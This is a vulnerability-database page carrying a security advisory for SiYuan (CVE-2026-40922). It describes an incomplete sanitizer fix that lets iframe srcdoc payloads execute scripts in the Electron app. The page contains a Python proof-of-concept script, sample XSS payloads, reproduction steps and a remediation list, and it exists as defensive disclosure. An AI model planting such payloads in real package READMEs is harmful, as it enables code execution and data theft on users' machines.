CVE-2026-40922: SiYuan has incomplete fix for CVE-2026-33066: XSS
Summary The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block tags, allowing stored XSS via srcdoc attributes containing embedded scripts that execute in the Electron context.
Published Apr 14, 2026 · Updated Apr 24, 2026
Affected packages
github.com/siyuan-note/siyuan/kernel
- Ecosystem
- Go
- Affected
- < 0.0.0-20260414013942-62eed37a3263
- Fixed in
- 0.0.0-20260414013942-62eed37a3263
- Check
go list -m github.com/siyuan-note/siyuan/kernel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block <iframe> tags, allowing stored XSS via srcdoc attributes containing embedded scripts that execute in the Electron context.
Affected Package
- Ecosystem: Go
- Package: github.com/siyuan-note/siyuan
- Affected versions: < commit b382f50e1880
- Patched versions: >= commit b382f50e1880
Details
The renderPackageREADME() function in kernel/bazaar/readme.go renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds luteEngine.SetSanitize(true) to enable Lute's built-in HTML sanitizer.
However, the Lute sanitizer in lute/render/sanitizer.go has a critical gap:
<iframe>is explicitly commented out ofsetOfElementsToSkipContent, so iframe tags pass through.- The
srcdocattribute is checked against URL-prefix blocklists (javascript:,data:text/html), butsrcdoccontains raw HTML content, not a URL. A value like `` does not start with any blocked prefix. - The browser renders
srcdocHTML in a nested browsing context, executing embedded scripts and event handlers.
The fix correctly blocks direct <script> tags, event handler attributes, and javascript: protocol links. However:
<iframe srcdoc="<script>alert(document.domain)</script>">passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).<iframe srcdoc="">also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.
PoC
"""
CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering
Component: kernel/bazaar/readme.go :: renderPackageREADME()
Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428
"""
import re
import sys
from html.parser import HTMLParser
ELEMENTS_TO_SKIP_CONTENT = {
"frame", "frameset",
# "iframe", # NOTE: iframe is commented out in the original Go code!
"noembed", "noframes", "noscript", "nostyle",
"object", "script", "style", "title",
}
EVENT_ATTRS = {
"onafterprint", "onbeforeprint", "onbeforeunload", "onerror",
"onhashchange", "onload", "onmessage", "onoffline", "ononline",
"onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage",
"onunload", "onblur", "onchange", "oncontextmenu", "onfocus",
"oninput", "oninvalid", "onreset", "onsearch", "onselect",
"onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick",
"ondblclick", "onmousedown", "onmousemove", "onmouseout",
"onmouseover", "onmouseleave", "onmouseenter", "onmouseup",
"onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter",
"ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onabort", "oncanplay",
"oncanplaythrough", "oncuechange", "ondurationchange", "onemptied",
"onended", "onloadeddata", "onloadedmetadata", "onloadstart",
"onpause", "onplay", "onplaying", "onprogress", "onratechange",
"onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate",
"onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend",
"onrepeat", "http-equiv", "formaction",
}
URL_ATTRS = {"src", "srcdoc", "srcset", "href"}
BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript")
SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area",
"base", "col", "embed", "source", "track", "wbr"}
def sanitize_attr_value_for_url(key, val):
cleaned = val.lower().strip()
cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ')
for prefix in BLOCKED_URL_PREFIXES:
if cleaned.startswith(prefix):
return False
return True
class LuteSanitizer(HTMLParser):
def __init__(self):
super().__init__(convert_charrefs=False)
self.output = []
self.skip_depth = 0
def handle_starttag(self, tag, attrs):
tag = tag.lower()
if tag in ELEMENTS_TO_SKIP_CONTENT:
self.skip_depth += 1
self.output.append(" ")
return
if self.skip_depth > 0:
return
sanitized_attrs = []
for key, val in attrs:
key = key.lower()
if val is None: val = ""
if key in EVENT_ATTRS: continue
if key in URL_ATTRS:
if not sanitize_attr_value_for_url(key, val): continue
sanitized_attrs.append((key, val))
parts = ["<" + tag]
for key, val in sanitized_attrs:
escaped_val = val.replace("&", "&").replace('"', """)
parts.append(f' {key}="{escaped_val}"')
if tag in SELF_CLOSING_TAGS: parts.append(" /")
parts.append(">")
self.output.append("".join(parts))
def handle_endtag(self, tag):
tag = tag.lower()
if tag in ELEMENTS_TO_SKIP_CONTENT:
self.skip_depth -= 1
if self.skip_depth < 0: self.skip_depth = 0
self.output.append(" ")
return
if self.skip_depth > 0: return
self.output.append(f"</{tag}>")
def handle_data(self, data):
if self.skip_depth > 0: return
self.output.append(data)
def handle_entityref(self, name):
if self.skip_depth > 0: return
self.output.append(f"&{name};")
def handle_charref(self, name):
if self.skip_depth > 0: return
self.output.append(f"&#{name};")
def handle_comment(self, data): pass
def handle_decl(self, decl): pass
def get_output(self): return "".join(self.output)
def sanitize_html(html_str):
sanitizer = LuteSanitizer()
sanitizer.feed(html_str)
return sanitizer.get_output()
def check_xss(html_output):
findings = []
srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE)
if srcdoc_match:
import html as html_mod
decoded = html_mod.unescape(srcdoc_match.group(1).lower())
if '<script' in decoded:
findings.append("iframe srcdoc: embedded <script> tag")
if re.search(r'on\w+\s*=', decoded):
findings.append("iframe srcdoc: event handler in nested HTML")
return findings
PAYLOADS = [
'<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>',
'<iframe srcdoc=""></iframe>',
]
bypass_found = False
for payload in PAYLOADS:
fixed_output = sanitize_html(payload)
findings = check_xss(fixed_output)
if findings:
bypass_found = True
print(f"BYPASS: {payload[:80]}")
for f in findings:
print(f" - {f}")
if bypass_found:
print("\nVULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("\nVULNERABILITY NOT CONFIRMED")
sys.exit(1)python3 poc.pySteps to reproduce:
git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_testcd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1python3 poc.py(orgo run poc.goif Go PoC)
Expected output:
VULNERABILITY CONFIRMED
Iframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context.Impact
A malicious bazaar package author can include <iframe srcdoc='<script>...</script>'> in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine.
Suggested Remediation
- Add
iframeto thesetOfElementsToSkipContentset in the Lute sanitizer. - If iframes must be preserved, strip the
srcdocattribute entirely or sanitize its HTML content recursively. - Apply a Content Security Policy (CSP) to the README rendering context.
References
- Incomplete fix commit: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428
- Original CVE: CVE-2026-33066
References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8q5w-mmxf-48jg
- https://nvd.nist.gov/vuln/detail/CVE-2026-33066
- https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428
- https://github.com/siyuan-note/siyuan/releases/tag/v3.6.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-40922
- https://github.com/advisories/GHSA-4663-4mpg-879v
- https://github.com/advisories/GHSA-8q5w-mmxf-48jg
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-60083
SiYuan: MCP file tool's blocklist is incomplete relative to the HTTP file API it claims to align with, exposing publish-mode passwords and other sensitive workspace files
medium4.9Oct 27, 2026CVE-2026-62204
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
medium6.6Oct 23, 2026CVE-2026-73049
SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers
medium5.8Oct 23, 2026CVE-2026-73054
SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream
high7.5Oct 23, 2026CVE-2026-73630
SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden
medium5.8Oct 23, 2026GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
medium5.8Oct 23, 2026
